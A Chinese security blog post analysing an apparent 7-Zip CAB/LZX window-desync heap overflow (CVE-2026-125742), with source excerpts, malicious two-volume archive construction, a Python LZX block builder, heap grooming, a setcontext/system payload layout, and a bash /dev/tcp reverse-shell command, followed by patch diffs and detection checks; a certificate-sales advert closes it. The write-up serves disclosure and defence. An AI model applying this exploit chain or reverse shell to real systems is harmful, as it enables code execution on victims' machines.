漏洞预警!7-Zip解压恶意压缩包即可触发RCE

admin 2026-11-17 11:45:28 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

漏洞预警!7-Zip解压恶意压缩包即可触发 RCE

原创

MY0723
MY0723

不秃头的安全

2026年11月14日 20:17
河北

去阅读

漏洞预警!7-Zip解压恶意压缩包即可触发 RCE

前言:本文中涉及到的相关技术或工具仅限技术研究与讨论,严禁用于非法用途,否则产生的一切后果自行承担,如有侵权请私聊删除。
知识星球和交流群在最下方。
需要cn*d(中高)/c2n*d(高与支撑单位)/安全证书请联系vx咨询

一、漏洞概述

7-Zip 的 CAB 解压器在处理多卷归档时,会在卷与卷之间保留 LZX 解码器的解压历史(keepHistory)。如果续接卷的文件夹把 LZX 窗口从较大尺寸改成 32 KiB,解码器会重新分配窗口,但没有把写游标 _pos 清零。_pos 仍保留旧窗口下累积的值,可能大于新的 _winSize。

写入前的边界检查使用无符号减法:

if (outSize > _winSize - _pos)
    return S_FALSE;

_pos > _winSize 时,差值会回绕成一个很大的数,检查被绕过。接下来的 memcpy 把数据写到 _win + _pos,形成堆越界写。

在 Linux/glibc 环境下,可以通过堆布局让越界写精确覆盖 CAB 提取流程中的 COutFileStream COM 对象。该对象开头是虚表指针,覆盖后可以把 Write() 的虚表槽指向 setcontext,由 setcontext 恢复寄存器并跳转到 system(),执行载荷中的命令。

本次复现在 7-Zip 26.05 源码构建上完成了从构造归档到命令执行的完整链路:两个 CAB 文件、一条解压命令、462 字节载荷,在测试容器中拿到 root 反弹 shell。

完整利用链

二、漏洞基本信息

项目 内容
漏洞名称 7-Zip CAB/LZX 窗口失步导致堆越界写
漏洞编号 CVE-2026-125742
漏洞类型 堆越界写(CWE-787)→ COM 对象劫持 → 代码执行
受影响组件 CAB 解压器 / LZX 解码器
受影响版本 7-Zip ≤ 26.05
修复版本 7-Zip 26.06(2026-11-07)
披露时间 2026-11-10
原始研究 Nguyễn Trần Thanh Lâm
触发方式 解压攻击者提供的多卷 CAB
实测环境 Ubuntu 24.04 / glibc 2.39 / GCC 13.3 / 7-Zip 26.05 源码构建

三、影响范围

受影响的是包含这套 CAB/LZX 解码逻辑的 7-Zip 版本。漏洞代码位于 CabHandler.cpp 和 LzxDecoder.cpp,属于跨平台共用的 C++ 实现,因此 Windows、Linux、macOS 的 7-Zip ≤ 26.05 都应当视为受影响。26.06 已修复。

触发需要满足几个条件:归档是多卷 CAB;续接卷的文件夹把 LZX 窗口改小;前一卷留下了大于新窗口的 _pos;并且跨卷时的文件夹参数不一致。参数一致、窗口不变的正常多卷归档不会触发。

这类归档可以通过邮件附件、下载链接、共享目录等方式投递,触发点是受害者或自动化解压服务执行解压。成功利用后,命令以解压进程的权限执行;如果进程以 root 或 SYSTEM 运行,攻击者可以直接控制整台主机。

需要区分的是,这不是一个监听端口上的网络服务漏洞。“远程”指的是恶意归档可以远程投递,攻击者仍然需要目标执行解压动作。

利用的稳定性取决于运行环境。本文的 EXP 依赖 glibc 堆布局、固定工作目录和关闭的 ASLR,属于实验室条件下的确定性利用,不能直接套用到所有平台。Windows 版本没有测试,堆管理和缓解措施都不同。不过底层越界写是代码逻辑问题,26.06 之前的所有版本都应当按受影响处理。

四、漏洞技术分析(4.1 攻击原理 / 4.2 恶意归档构造 / 4.3 堆布局与越界写 / 4.4 控制流劫持 / 4.5 EXP 复现)

4.1 攻击原理

CAB 里和这个漏洞相关的结构有四类:

CFHEADER   卷头:MSCF、卷号、文件数、文件夹数、上一卷/下一卷文件名
CFFOLDER   文件夹:数据起点、CFDATA 块数、压缩方法(LZX 窗口位数)
CFFILE     文件项:大小、文件夹内偏移、所属文件夹索引
CFDATA     数据块:压缩数据 + 解压后大小(16 位,单块最大 0x8000)

LZX 按窗口分配缓冲区,_pos 记录下一条解压数据写到哪。写满窗口后 _pos 回卷到 0,从头覆盖旧数据。窗口大小由 bits 决定:15 是 32 KiB,21 是 2 MiB。

大 CAB 可以拆成多个卷。首卷在 CFHEADER 里写上下一卷的文件名,当前文件夹的 CFDATA 读完后,解压循环会接着读下一卷的第一个文件夹。为了让跨卷的数据流接上,7-Zip 会打开 keepHistory:

// CabHandler.cpp(26.05)
lzxDecoder->Set_KeepHistory(keepHistory);
lzxDecoder->Set_KeepHistoryForNext(true);
res = lzxDecoder->Code_WithExceedReadWrite(blockPackData.GetData(),
    packSizeChunk, unpackSize);

keepHistory = true 的本意是保留解码历史,让跨卷数据可以连续解码。副作用是写游标也会跨卷沿用。如果每一卷的窗口大小都一样,这没什么问题;一旦新的文件夹把窗口改小,问题就来了。

问题出在续接时对游标的处理上。Code_WithExceedReadWrite() 开头先决定游标:

// LzxDecoder.cpp(26.05)
if (!_keepHistory)
{
    _pos = 0;
    _overDict = false;
}
else if (_pos == _winSize)
{
    _pos = 0;
    _overDict = true;
}

_writePos = _pos;
_unpackedData = _win + _pos;

if (outSize > _winSize - _pos)   // 都是无符号数
    return S_FALSE;

这段代码假设续卷时窗口大小不变,所以只处理了 _pos 正好等于 _winSize 的情况。_pos 大于 _winSize 时,它既不会清零,也不会回卷。

窗口的重分配发生在 LZX 文件夹开始解压之前。CAB 处理器会按文件夹头初始化解码器:

// CabHandler.cpp(26.05)
const CFolder &folder = db.Folders[(unsigned)folderIndex2];
...
case NHeader::NMethod::kLZX:
    lzxDecoder.Create_if_Empty();
    res = lzxDecoder->Set_DictBits_and_Alloc(folder.MethodMinor);
    break;

Set_DictBits_and_Alloc() 在窗口尺寸变化时会释放旧缓冲区、分配新缓冲区:

// LzxDecoder.cpp(26.05),为便于阅读删去插桩
if (!_win || newWinSize != _winSize)
{
    z7_AlignedFree(_win);
    _winSize = 0;
    _win = (Byte *)z7_AlignedAlloc(newWinSize + k_OutBufSize_Add);
    // 26.05 缺少:_pos = 0;  _overDict = false;
}
_winSize = newWinSize;

旧缓冲区被释放,新的 32 KiB 缓冲区分配出来,_winSize 改成 0x8000。_pos 没有动,还是 0x8AC0。

块循环里还有一个细节。窗口大小由最近一次初始化解码器的 LZX 文件夹决定,遇到 None 文件夹时 LZX 解码器不会被重置;而实际解码方法由当前正在读的卷的文件夹头决定,也就是代码里的 folder2。两者之间没有任何一致性校验:

for (unsigned bl = 0; cabFolderOutStream->NeedMoreWrite();)
{
    const CDatabaseEx &db2 = m_Database.Volumes[volIndex];
    const CFolder &folder2 = db2.Folders[(unsigned)locFolderIndex];
    ...
}

只要让这两个文件夹的方法或窗口位数不同,就能在 32 KiB 的窗口里用另一套参数继续解码。

真正放行越界写的是前面那段边界检查。_winSize 是 0x8000,_pos 是 0x8AC0,两个都是无符号数。0x8000 - 0x8AC0 不会得到负数,而是回绕成 0xFFFFF540。outSize 只有 462,远小于这个值,检查通过。接下来:

_writePos = _pos;
_unpackedData = _win + _pos;
res = CodeSpec(inData, inSize, outSize);

CodeSpec() 里的 CBitByteDecoder::CopyTo() 执行 memcpy(_win + 0x8AC0, ...),越界写成立。

窗口与游标的失步过程

4.2 恶意归档构造

复现没有照搬原作者的六文件夹布局,四个文件夹就够用。目标是把解码器推到下面这个状态:

  1. 1

用 LZX:21 把 _pos 推到 0x8AC0;
2. 2

用 LZX:15 的 0 字节文件触发窗口重分配,同时保住 _pos;
3. 3

用 None 文件夹写满 32 KiB,把 keepHistory 置 1,并让剩余数据跨卷;
4. 4

在 v2.cab 的第一个 LZX:21 文件夹里放 462 字节载荷。

实测卷布局

卷 文件夹 方法 文件 v1 内数据 作用
v1 F0 LZX:21 pad.bin 35,520 B 0x8000 + 0xAC0 把 _pos 推到 0x8AC0
v1 F1 LZX:15 empty.txt 0 B 无 重分配 32 KiB,_pos 残留
v1 F2 None 110 个 x,33,230 B 32,768 B 置 keepHistory=1,剩余 462 B 跨卷
v2 F0 LZX:21 x2.txt 462 B 462 B 在 _win + 0x8AC0 处越界写

第二步必须是一个有文件项、但没有 CFDATA 的文件夹。这样 Set_DictBits_and_Alloc(15) 会被调用,但没有任何块会去重置 _pos。

第三步是实际操作里最容易出错的地方。如果直接从 LZX 空文件夹跨卷,下一卷第一个块的 keepHistory 可能还是 false,_pos 会被清零。必须先用一个非 LZX 块成功写一次,把 keepHistory 置 1,同时不碰解码器的窗口状态。

构造块时不需要实现 LZX 压缩。LZX 的块类型 3 是未压缩块,解码器会把数据原样拷到窗口。CAB 里的 LZX 流按 16 位小端字、字内 MSB 优先打包:

def lzx_uncompressed_chunk(data, win_bits, first_block):
    bw = BitWriter()
    if first_block:
        bw.put(0, 1)          # 不做 x86 E8 转换
    bw.put(3, 3)              # 块类型 3 = 未压缩
    bw.put(len(data), 24)     # 块长度
    bw.flush_word()           # 对齐到 16 位边界
    reps = struct.pack('<III', 1, 1, 1)   # R0/R1/R2
    out = bw.bytes() + reps + data
    if len(data) & 1:
        out += b'\\x00'# 奇数长度补 1 字节
    return out

CabHandler.cpp 里还有一个限制:一个文件夹里,短块只能出现在最后。代码用 thereWasNotAlignedChunk 记状态,短块之后再来块就直接报错。所以 F2 的 None 块要写满 32 KiB,462 字节的攻击块只能放在 v2 的最后。

F2 里的文件还使用了 110 个字符的名字。这个长度不是随便定的:加上 out/ 和结尾的 NUL,输出路径正好是 115 字节,会占用一个 0x80 的 chunk。它的作用是在越界写之前先消耗掉 0x80 tcache,让后面的 COutFileStream 从 top 分配,从而落在窗口之后固定的位置。具体布局在 4.3 节展开。

4.3 堆布局与越界写

越界写要打到有用的对象上,得先确认堆上有什么。本次在 Set_DictBits_and_Alloc、Code_WithExceedReadWrite、CabHandler::Extract 和提取回调几个位置加了只读日志,只向 stderr 打印,没有修改任何判断逻辑:

插桩日志:窗口、路径、对象与越界写

日志里有五行关键信息:

[X] ALLOC bits=15 win=0x55555584de80 size=0x8000 pos=0x8AC0
[X] PATH len=114 buf=0x555555838300 us=120
[X] NEW_STREAM this=0x555555856940 idx=2 sz=120 us=120
[X] CODE win=0x55555584de80 pos=0x8AC0 winSize=0x8000 out=0x1CE
[X] FOS_WRITE stream=0x555555856940 vt=0x555555856980 n=462

ALLOC 那行说明窗口已经缩到 32 KiB,但 pos 还是 0x8AC0;PATH 那行的 115 字节路径正好占一个 0x80 chunk;紧接着 NEW_STREAM 显示 COutFileStream 落在 _win + 0x8AC0;CODE 是 462 字节的越界写;最后 FOS_WRITE 里的虚表指针已经是载荷里的值。

堆布局:tcache 与对象落点

这次运行里,0x80 tcache 只有一个空闲块 0x555555838300。长文件名先申请 115 字节的路径缓冲区,把这个块拿走;COutFileStream 再申请 120 字节时 tcache 已经空了,只能从 top 切。32 KiB 的 LZX 窗口刚从 top 分配过,于是流对象就落在窗口之后固定的 0x8AC0 处。

实际调试时这类布局很难一次对上,通常要先跑一遍,看 PATH 和 NEW_STREAM 的地址,再回头调文件名长度和运行目录。日志里的 PATH len=114 和 NEW_STREAM ... 0x555555856940 就是对齐后的结果。

为了确认不是对象碰巧被写坏,又用同一份 CAB 跑了 26.05 的 ASAN 构建:

ASAN 命中堆越界写

WRITE of size 462 at 0x52d00001cec0 thread T0
    #2 ... CBitByteDecoder::CopyTo(...)      LzxDecoder.cpp:873
    #3 ... CDecoder::CodeSpec(...)           LzxDecoder.cpp:1396
    #4 ... Code_WithExceedReadWrite(...)     LzxDecoder.cpp:1471
    #5 ... CHandler::Extract(...)            CabHandler.cpp:1208

0x52d00001cec0 is located 2720 bytes after 32800-byte region
allocated by thread T0 here:
    #2 ... Set_DictBits_and_Alloc(...)       LzxDecoder.cpp:1506

2720 = 0xAA0 = 0x8AC0 - 0x8020,写入起点在 32 KiB 缓冲区末尾之后 2720 字节。越界本身是确定的,对象落点只是在这个基础上做了堆整形。

4.4 控制流劫持

COutFileStream 是 COM 对象,开头是虚表指针。FOS::Write 调用 m_RealOutStream->Write() 时,会先取对象开头的指针,再按偏移调用:

mov  (%this), %vtbl     ; 取出对象开头的虚表指针
call *0x18(%vtbl)       ; Write 在虚表中的槽位

rdi 此时正好是对象自身。载荷要做的就两件事:把 vptr 指到对象内部一块自己控制的内存,把假虚表的 +0x18 槽填成 setcontext。

对象布局与触发路径

载荷的排布如下,总长 462 字节:

p = bytearray(462)
# vptr -> 假虚表;假虚表 +0x18 -> setcontext
struct.pack_into(\"<Q\", p, 0x00, OBJ + 0x40)
struct.pack_into(\"<Q\", p, 0x58, SETCONTEXT)

# setcontext 从 rdi(= obj)恢复上下文
struct.pack_into(\"<Q\", p, 0x68, OBJ + 0x140)   # rdi -> 命令串
struct.pack_into(\"<Q\", p, 0xA0, WIN + 0x7008)  # rsp
struct.pack_into(\"<Q\", p, 0xA8, SYSTEM)        # rip
struct.pack_into(\"<Q\", p, 0xE0, OBJ + 0xE8)    # fpstate
struct.pack_into(\"<Q\", p, 0x128, 0)            # sigset

c = cmd.encode() + b\"\\x00\"
assert 0x140 + len(c) <= 0x1C0
p[0x140:0x140 + len(c)] = c

用 setcontext 的原因很实际:它在 glibc 里就是一段从内存恢复寄存器的代码,而 rdi 已经指向完全可控的对象,可以直接当 ucontext_t * 用。把 rdi、rsp、rip 填好,恢复上下文后就会跳到 system,第一个参数正好是命令串。这样既不用找栈迁移 gadget,也不用提前泄漏栈地址。

载荷一共 462 字节,命令区从 +0x140 开始,最多 128 字节。+0x1C0 的 mxcsr 和 +0xE8 的 x87 控制字是为了让 setcontext 的浮点恢复路径不崩。

触发顺序:

  1. 1

F2 的 32 KiB 正常写入,流对象还是合法虚表;
2. 2

跨卷后 462 字节越界写覆盖 COutFileStream;
3. 3

7-Zip 继续写剩余 462 字节,FOS_WRITE 取到假虚表;
4. 4

call *0x18 → setcontext(obj);
5. 5

恢复 rip = system、rdi = obj + 0x140,跳转执行;
6. 6

命令执行,随后进程在残破的堆上崩溃。

4.5 EXP 复现

测试环境是 Ubuntu 24.04、glibc 2.39、GCC 13.3,7-Zip 使用 26.05 源码编译:

环境信息

编译命令:

cd 7zip-26.05/CPP/7zip/Bundles/Alone2
make -f makefile.gcc -j\"$(nproc)\"

编译产物 7zz 动态链接 glibc。插桩只增加了 stderr 日志,没有修改分支条件或内存操作。

生成恶意归档和载荷:

python3 build_rce.py final \"id > /tmp/rce_proof; uname -a >> /tmp/rce_proof\"

生成恶意双卷与载荷

脚本会打印对象地址、setcontext 和 system。这些值来自本次构建和本次运行,换环境需要重新标定:

符号 地址 偏移
_win (32 KiB 窗口) 0x55555584de80 —
被覆盖的流对象 0x555555856940 _win + 0x8AC0
libc base 0x7ffff7af0000 —
setcontext 0x7ffff7b3a960 +0x4a960
system 0x7ffff7b48750 +0x58750

执行解压:

cd final
setarch -R /path/to/7zz x -y -oout v1.cab
cat /tmp/rce_proof

setarch -R 关闭了 ASLR,这是固定地址载荷能稳定运行的前提。执行后 /tmp/rce_proof 的内容:

解压进程执行 id 的真实结果

换用反弹 shell 命令后,nc -l 4444 收到的会话:

# 终端 A
nc -l 4444

# 终端 B
python3 build_rce.py final \"bash -c 'bash -i >& /dev/tcp/127.0.0.1/4444 0>&1'\"
cd final && setarch -R /path/to/7zz x -y -oout v1.cab

nc 收到 root 反弹 shell

终端 A 收到 shell 后执行 id、uname -a、echo PWNED_BY_7ZIP_CAB_LZX,输出就是上图。命令由解压进程执行,权限继承自 7-Zip;测试容器里 7-Zip 以 root 运行,所以看到 uid=0(root)。

这套 EXP 的适用边界比较明确:

  1. 1

ASLR 已关闭。载荷里的 _win、对象地址和 libc 地址都是固定值,没有实现信息泄漏或 ASLR 绕过;
2. 2

工作目录、二进制和构建固定。堆布局对启动参数、环境变量、cwd 长度都敏感,/workspace/exploit/final 下测出的 _win + 0x8AC0 换一个目录、换一个构建或换成原版二进制都可能变化,需要重新标定;
3. 3

本地解压触发,不是直接攻击监听端口;
4. 4

root 来自测试容器,真实场景中是受害者用户的权限;
5. 5

载荷尺寸有限,462 字节对象覆盖加上最多 128 字节命令,适合 id、反弹 shell 这类短命令,更复杂的落地需要分阶段;
6. 6

上游研究在开启 ASLR 的不同环境下报告过部分成功率,使用了堆数据搬运来猜高位字节。本次没有复刻那套泄漏和爆破逻辑,只验证了关闭 ASLR 下的确定性利用。

五、修复建议(升级、补丁、检测与临时缓解)

最直接的处理是升级到 7-Zip 26.06 或更高版本。26.06 在这条路径上改了三处。

第一处是重新分配窗口时清零游标:

   z7_AlignedFree(_win);
   _winSize = 0;
+  _pos = 0;
+  _overDict = false;
   _win = (Byte *)z7_AlignedAlloc(newWinSize + k_OutBufSize_Add);

窗口尺寸变了,旧游标本来就没有意义。

第二处是跨卷时比较两个文件夹的方法:

-        switch (folder2.GetMethod())
+        if (!folder2.Is_Method_EqualTo(folder))
+          res = S_FALSE;
+        else
+        switch (folder.GetMethod())

Is_Method_EqualTo 不只比较 MethodMajor,也比较 MethodMinor,也就是 LZX 的窗口位数:

bool Is_Method_EqualTo(const CFolder &f) const
{
  return MethodMajor == f.MethodMajor
      && MethodMinor == f.MethodMinor;
}

比较不通过时直接返回 S_FALSE。解码器只使用初始化时的那套参数,不再跟随当前卷漂移。CabIn.cpp 里也增加了跨卷文件夹的一致性检查。

第三处是构造函数里初始化成员:

 CDecoder::CDecoder() throw():
+    _pos(0),
     _win(NULL),
+    _overDict(false),
     _isUncompressedBlock(false),

同一份 v1.cab / v2.cab 交给 26.06:

26.06 拒绝同一份归档

得到的是 Data Error,不会再进入解码,也不会有 ASAN 报告。

如果暂时无法升级,可以在解压前做一层检查:

  1. 1

多卷 CAB 中,续接卷第一个 CFFOLDER 的 typeCompress 高字节(LZX 窗口位数)和前卷末文件夹不一致;
2. 2

前一个文件夹是 LZX:15/16 且 cCFData = 0(或只有 0 字节文件),紧接着跨卷出现 LZX 数据;
3. 3

同一逻辑文件夹在跨卷时压缩方法发生变化,比如 None → LZX;
4. 4

卷内出现“短 CFDATA 之后还有数据”的块序列。正常归档只有最后一块可以短于 0x8000。

运行层面,解压不可信归档时应使用沙箱或低权限账户,避免以 root/SYSTEM 直接处理下载目录里的文件。对自动化解压服务,建议限制归档类型、卷数量和单个文件夹的参数变化。

开发层面,这类问题适合用 ASAN 和模糊测试覆盖,语料里加入“多卷 + 参数不一致 + 窗口缩小”的组合。跨卷续接不能当成可信输入,卷与卷之间的压缩方法和窗口参数需要显式校验。

六、参考

  1. 1

Nguyễn Trần Thanh Lâm, 7-Zip Cabinet Window Desync: From Heap OOB Write to Remote Code Execution, 2026-11-10. https://potion-brew.pages.dev/posts/7zip-cab-lzx-window-desync-rce/
2. 2

7-Zip 26.06 Release Notes. https://github.com/ip7z/7zip/releases/tag/26.06
3. 3

CVE-2026-125742. https://cve.circl.lu/vuln/CVE-2026-125742
4. 4

7-Zip 源码(26.05 / 26.06 对比). https://github.com/ip7z/7zip

关于我们:

感谢各位大佬们关注-不秃头的安全,后续会坚持更新渗透漏洞思路分享、安全测试、好用工具分享以及挖掘SRC思路等文章,同时会组织不定期抽奖,希望能得到各位的关注与支持,考证请加联系vx咨询。

  • 1. 需要考以下各类安全证书的可以联系

①Cn\*d,NCC,NVDB🀄️高漏洞证书

②CNNVD中高\漏洞情报\ 一二三级支撑单位均可协助获得

③CISP、PTE/PTS、CISP-DSG、IRE/IRS、NISP一二级、PMP、CCSK、CISSP/CCSP、CISAW各种类、CCRC\CCSC、itil、软考中高级、CDSP各种类、CISA,oscp等等巨优惠。ISO27001、ITss服务项目经理报名等下证即可,证书组团报更便宜,可对公,可开专普票。以下是其他全部证书

【腾讯文档】【信息安全 数据安全 IT认证证书】~不秃头的安全Vx:Meditation0723

https://docs.qq.com/doc/DZmtOckpOakJrcFVv?#

想加群下方二维码,群过期或群满加下方vx拉:
*

## 2. 需要入星球的可以私聊优惠

1、src、cnxd、cnnxd、POC专项漏洞知识库,包含原理、挖掘技巧、实战案例 2、fafo/零零信安 高级会员key 3、全网搜集POC在线文档,详情poc及证明截图(3000+以上文章) 4、知识星球专属微信“内部圈子交流群” 5、攻防演练资源分享(免杀、溯源、钓鱼等) 6、新鲜工具分享 7、不定期有工作招聘内推(工作/护网内推) 8、19个专栏会持续更新~提前续费有优惠,好用不贵很实惠

## 3、其他合作(合法合规)

1、承接红蓝攻防、渗透、安全意识培训、基线核查及加固、应急响应、重保防守、代码审计等安全项目(须授权),需要攻防团队或岗位招聘都可代发、代招(灰黑勿扰);

2、各位安全老板需要文章推广的请私聊,承接合法合规推广文章发布,可直发、可按产品编辑推广;合作、推广代发、安全项目、岗位代招均可发布;

3、接受脱敏投稿,送一年知识星球及礼包。

    【热点安全风险】11月14日|ConnectWise的ScreenConnect五个第三方扩展被滥用,攻击者在约400个服务商环境植入远程控制客户端 网络安全文章

    【热点安全风险】11月14日|ConnectWise的ScreenConnect五个第三方扩展被滥用,攻击者在约400个服务商环境植入远程控制客户端

    ConnectWise的ScreenConnect五个第三方扩展被滥用,攻击者在约400个服务商环境植入远程控制客户端,微软Outlook未就不安全操作提示用户,Vates的XenOrchestra登录令牌校验缺陷已遭在野利用,波兰全国政务平台ePUAP遭网络攻击后下线,飞塔FortiManager与FortiAnalyzer的OFTP端口存在SQL注入,群晖DSM的认证接口存在SQL注入。
    评论:0   参与:  0